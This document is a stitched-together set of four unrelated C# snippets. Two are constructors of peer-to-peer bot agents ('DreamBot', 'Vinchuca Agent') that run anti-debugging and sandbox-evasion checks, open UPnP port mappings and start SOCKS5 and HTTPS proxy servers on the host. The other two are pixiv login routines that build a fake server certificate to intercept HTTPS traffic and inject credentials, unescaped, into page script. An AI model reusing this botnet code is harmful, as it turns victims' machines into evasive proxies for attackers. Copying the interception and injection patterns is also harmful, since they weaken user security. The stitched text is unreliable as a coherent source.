public DreamBotApp(int port, BotIdentifier id) { BotId = id; Logger.Info(0, "DreamBot [id: {0}] listenning on port {1}", BotId, port); _worker = new ClientWorker(); _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1)); _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3)); _peerList = new PeerList(_worker); _peerList.DesparadoModeActivated += DesperateModeActivated; _listener = new MessageListener(port); _listener.UdpPacketReceived += EnqueueMessage; _comunicationManager = new ComunicationManager(_listener, _worker); _peersManager = new PeerManager(_comunicationManager, _peerList, _worker, BotId); _messagesManager = new MessageManager(_peersManager); _messagesManager.Register(0x00, MessageType.Request, typeof(HelloMessage), new HelloMessageHandler(_peerList, _messagesManager), false); _messagesManager.Register(0x01, MessageType.Reply, typeof(HelloReplyMessage), new HelloReplyMessageHandler(_peerList, _messagesManager), true); _messagesManager.Register(0x02, MessageType.Request, typeof(GetPeerListMessage), new GetPeerListMessageHandler(_peerList, _messagesManager), true); _messagesManager.Register(0x03, MessageType.Reply, typeof(GetPeerListReplyMessage), new GetPeerListReplyMessageHandler(_peerList, _messagesManager), true); _messagesManager.Register(0xFF, MessageType.Special, typeof(InvalidMessage), new InvalidMessageHandler(_peerList), false); _socks5 = new Socks5Server(8009); _https = new HttpsProxyServer(8019); //_connectivityTester = new ConnectivityTester(); //_connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged; }
/// <summary> /// Authentication process to pixiv web api, which is driven by /// <a href="https://github.com/cefsharp/CefSharp">CefSharp</a> /// This method is for login usage only, USE AT YOUR OWN RISK /// </summary> /// <param name="name">user name</param> /// <param name="pwd">user password</param> /// <returns></returns> public static async Task WebApiAuthenticate(string name, string pwd) { // create x.509 certificate object for intercepting https traffic, USE AT YOUR OWN RISK var certificate = await CertificateManager.GetFakeServerCertificate(); // create https proxy server for intercepting and forwarding https traffic using var proxyServer = HttpsProxyServer.Create("127.0.0.1", AppContext.ProxyPort, (await new PixivApiDnsResolver().Lookup("pixiv.net"))[0].ToString(), certificate); // create pac file server for providing the proxy-auto-configuration file, // which is driven by EmbedIO, this is because CefSharp do not accept file uri using var pacServer = PacFileServer.Create("127.0.0.1", AppContext.PacPort); pacServer.Start(); var chrome = SignIn.Instance.ChromiumWebBrowser; const string loginUrl = "https://accounts.pixiv.net/login"; chrome.Address = loginUrl; chrome.FrameLoadEnd += (sender, args) => { // when the login page is loaded, we will execute the following js snippet // which is going to fill and submit the form if (args.Url == loginUrl) { // ReSharper disable once AccessToDisposedClosure chrome.ExecuteScriptAsync($@" var container_login = document.getElementById('container-login'); var fields = container_login.getElementsByClassName('input-field'); var account = fields[0].getElementsByTagName('input')[0]; var password = fields[1].getElementsByTagName('input')[0]; account.value = '{name}'; password.value = '{pwd}'; document.getElementById('container-login').getElementsByClassName('signup-form__submit')[0].click(); "); } }; #pragma warning disable 4014 var cancellationTokenSource = new CancellationTokenSource(); Task.Run(async() => { // ReSharper disable AccessToDisposedClosure while (!cancellationTokenSource.Token.IsCancellationRequested) { await Task.Delay(1000, cancellationTokenSource.Token); var src = await chrome.Dispatcher.Invoke(async() => { if (chrome.WebBrowser != null) { return(await chrome.WebBrowser.GetSourceAsync()); } return(""); }); if (src.Contains("error-msg-list__item")) { cancellationTokenSource.Cancel(); chrome.Dispatcher.Invoke(() => { MessageBox.Show(AkaI18N.ThisLoginSessionRequiresRecaptcha); SignIn.Instance.BrowserDialog.IsOpen = true; }); } } }, cancellationTokenSource.Token);
public Agent(int port, BotIdentifier id) { BotIdentifier.Id = id; Logger.Info("Vinchuca Agent [id: {0}] listenning on port {1}", BotIdentifier.Id, port); _worker = ClientWorker.Instance; _worker.QueueForever(AntiDebugging.CheckDebugger, TimeSpan.FromSeconds(1)); _worker.QueueForever(AntiDebugging.CheckDebugging, TimeSpan.FromSeconds(0.3)); _worker.QueueForever(SandboxDetection.CheckSandboxed, TimeSpan.FromSeconds(1)); _peerList = new PeerList(_worker); _peerList.DesparadoModeActivated += DesperateModeActivated; if (IPAddressUtils.BehingNAT(IPAddressUtils.GetLocalIPAddress())) { var upnpSearcher = new UpnpSearcher(); upnpSearcher.DeviceFound += (s, e) => { PublicIP = e.Device.GetExternalIP(); Logger.Verbose("External IP Address: {0}", PublicIP); try { var externalPort = BotIdentifier.Id.GetPort(); BotIdentifier.EndPoint = new IPEndPoint(PublicIP, externalPort); var device = e.Device; device.CreatePortMap(new Mapping(Protocol.Udp, port, externalPort)); device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 1)); device.CreatePortMap(new Mapping(Protocol.Tcp, port, externalPort + 2)); } catch (MappingException ex) { Logger.Warn("UPnp - port mapping failed: {0} - {1}", ex.ErrorCode, ex.ErrorText); } finally { upnpSearcher.Stop(); } }; upnpSearcher.Search(); } _listener = new MessageListener(port); _listener.UdpPacketReceived += EnqueueMessage; _communicationManager = new CommunicationManager(_listener, _worker); var peersManager = new PeerManager(_communicationManager, _peerList, _worker); _messagesManager = new MessageManager(peersManager); peersManager.MessageSender = _messagesManager; RegisterMessageHandlers(peersManager); var externPort = BotIdentifier.Id.GetPort(); _socks5 = new Socks5Server(externPort + 1); _https = new HttpsProxyServer(externPort + 2); _connectivityTester = new ConnectivityTester(); _connectivityTester.OnConnectivityStatusChanged += OnConnectivityStatusChanged; }
/// <summary> /// Authentication process to pixiv web api, which is driven by /// <a href="https://github.com/cefsharp/CefSharp">CefSharp</a> /// This method is for login usage only, USE AT YOUR OWN RISK /// </summary> /// <param name="name">user name</param> /// <param name="pwd">user password</param> /// <returns></returns> public static async Task WebApiAuthenticate(string name, string pwd) { // create x.509 certificate object for intercepting https traffic, USE AT YOUR OWN RISK var certificate = await CertificateManager.GetFakeServerCertificate(); // create https reverse proxy server for intercepting and forwarding https traffic, // default port is 1234 using var proxyServer = HttpsProxyServer.Create("127.0.0.1", 1234, (await new PixivApiDnsResolver().Lookup("pixiv.net"))[0].ToString(), certificate); // create pac file server for providing the proxy-auto-configuration file, // which is driven by EmbedIO, this is because CefSharp do not accept file uri, // default port is 4321 using var pacServer = PacFileServer.Create("127.0.0.1", 4321); pacServer.Start(); const string loginUrl = "https://accounts.pixiv.net/login"; var chrome = new ChromiumWebBrowser(loginUrl) { RequestHandler = new BypassProxyRequestHandler() }; chrome.FrameLoadEnd += (sender, args) => { // when the login page is loaded, we will execute the following js snippet // which is going to fill and submit the form if (args.Url == loginUrl) { // ReSharper disable once AccessToDisposedClosure chrome.ExecuteScriptAsync( $@" var container_login = document.getElementById('container-login'); var fields = container_login.getElementsByClassName('input-field'); var account = fields[0].getElementsByTagName('input')[0] var password = fields[1].getElementsByTagName('input')[0] account.value = '{name}'; password.value = '{pwd}'; document.getElementById('container-login').getElementsByClassName('signup-form__submit')[0].click() "); } };